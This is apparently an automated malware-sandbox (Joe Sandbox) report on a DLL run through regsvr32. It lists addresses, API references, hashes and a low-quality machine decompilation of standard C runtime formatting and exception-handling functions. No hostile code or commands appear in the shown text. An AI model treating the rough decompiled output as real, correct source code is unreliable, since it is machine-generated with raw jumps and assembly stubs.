0x7fef9d3452c
0x7fef9d34531
0x7fef9d34539
0x7fef9d34551
0x7fef9d34558
0x7fef9d34563
0x7fef9d34572
0x7fef9d34576
0x7fef9d34586
0x7fef9d3458c
0x7fef9d3459f
0x7fef9d345ca
0x7fef9d345cc
0x7fef9d345ce
0x7fef9d345db
0x7fef9d345e4
0x7fef9d345f0
0x7fef9d345fc
0x7fef9d34608
0x7fef9d34615
0x7fef9d34622
0x7fef9d3462f
0x7fef9d34654
0x7fef9d3465b
0x7fef9d3465d
0x7fef9d34662
0x7fef9d34667
0x7fef9d3466c
0x7fef9d34671
0x7fef9d34673
0x7fef9d34679
0x7fef9d34681
0x7fef9d34683
0x7fef9d34688
0x7fef9d3468d
0x7fef9d34693
0x7fef9d3469b
0x7fef9d3469f
0x7fef9d346a1
0x7fef9d346ae
0x7fef9d346b5
0x7fef9d346bd
0x7fef9d346bf
0x7fef9d346cb
0x7fef9d346d4
0x7fef9d346da
0x7fef9d346e2
0x7fef9d346e6
0x7fef9d346e8
0x7fef9d346f5
0x7fef9d346f9
0x7fef9d346fc
0x7fef9d34704
0x7fef9d34706
0x7fef9d34712
0x7fef9d3471a
0x7fef9d34727
0x7fef9d3472a
0x7fef9d3472c
0x7fef9d34732
0x7fef9d3473a
0x7fef9d34742
0x7fef9d3474a
0x7fef9d34752
0x7fef9d3475a
0x7fef9d34762
0x7fef9d34767
0x7fef9d3476f
0x7fef9d3477b
0x7fef9d34783
0x7fef9d34787
0x7fef9d3478f
0x7fef9d34794
0x7fef9d3479c
0x7fef9d347a1
0x7fef9d347a9
0x7fef9d347b2
0x7fef9d347ba
0x7fef9d347c2
0x7fef9d347ca
0x7fef9d347d2
0x7fef9d347d7
0x7fef9d347d9
0x7fef9d347e1
0x7fef9d347e5
0x7fef9d347e7
0x7fef9d347ef
0x7fef9d347f1
0x7fef9d347f3
0x7fef9d347fb
0x7fef9d34800
0x7fef9d34807
0x7fef9d3480b
0x7fef9d3480f
0x7fef9d34813
0x7fef9d3481b
0x7fef9d34820
0x7fef9d34828
0x7fef9d34830
0x7fef9d34838
0x7fef9d34840
0x7fef9d34845
0x7fef9d34847
0x7fef9d3484c
0x7fef9d34851
0x7fef9d34859
0x7fef9d3485b
0x7fef9d34869

APIs

__StateFromControlPc.LIBCMTD ref: 000007FEF9D340E5

Part of subcall function 000007FEF9D2E500: __StateFromControlPc.LIBCMTD ref: 000007FEF9D2E534
Part of subcall function 000007FEF9D2E500: RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D2E5D2

__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D34128
__SetState.LIBCMTD ref: 000007FEF9D3414D
__SetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3416F
__GetUnwindTryBlock.LIBCMTD ref: 000007FEF9D3418E
_inconsistency.LIBCMTD ref: 000007FEF9D341B1

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_SetThrowImageBase.LIBCMTD ref: 000007FEF9D34273
_ValidateRead.LIBCMTD ref: 000007FEF9D34285
_inconsistency.LIBCMTD ref: 000007FEF9D34290
_inconsistency.LIBCMTD ref: 000007FEF9D342F5

Part of subcall function 000007FEF9D35CC0: type_info::operator==.LIBCMTD ref: 000007FEF9D35D5F

std::bad_exception::bad_exception.LIBCMTD ref: 000007FEF9D34378

Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

csm, xrefs: 000007FEF9D3429D
csm, xrefs: 000007FEF9D343A0
bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D341BE

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction ID: b93d13205fcb5bf4744c4f5868d42f2397ba004b3dd065f5f3bbc86f0087c528
Opcode Fuzzy Hash: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction Fuzzy Hash: C412D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30
(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction ID: fa666a0989dbdcd631dba14fdf712f3fd1171dc1b338b0fed7bc0ada6eb2a45d
Opcode Fuzzy Hash: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction Fuzzy Hash: 8B024A72A0D7C28AE7B09B24E8447BEB7E4F384345F604126D6CC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction ID: dd73616ddae2cae72d7b30165dff30affe8ff5e8ed842a8499c58fb9266416ee
Opcode Fuzzy Hash: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction Fuzzy Hash: FAD11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
", xrefs: 000007FEF9D3B2E1
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483
sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
", xrefs: 000007FEF9D3B496
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction ID: 7076a95ac8019ae0c7cbf4bc144243c7f76c7d2257b38824bc8c592ccc79079f
Opcode Fuzzy Hash: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction Fuzzy Hash: 33C10932A0D68286E7B09B54E8547BEB7E0F784744F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E
(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction ID: de6734cae50e00c17b19ae97f10413d83fe6e5a887ca475c0331002d176214a7
Opcode Fuzzy Hash: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction Fuzzy Hash: 66D10972A0DA828AE7B09F64E8447AFB6E0F384349F604125D6CD47AE8DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB
9, xrefs: 000007FEF9D3C98F
-, xrefs: 000007FEF9D3CA54

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction ID: a9c1e15515d35d7cf033a694107a1be22a212de4b62ef600bdbf999f0f55ea8a
Opcode Fuzzy Hash: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction Fuzzy Hash: 7202ED7260DBC586E7B1CB25E8857AEB7E4F384795F200125EACD86AA8DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
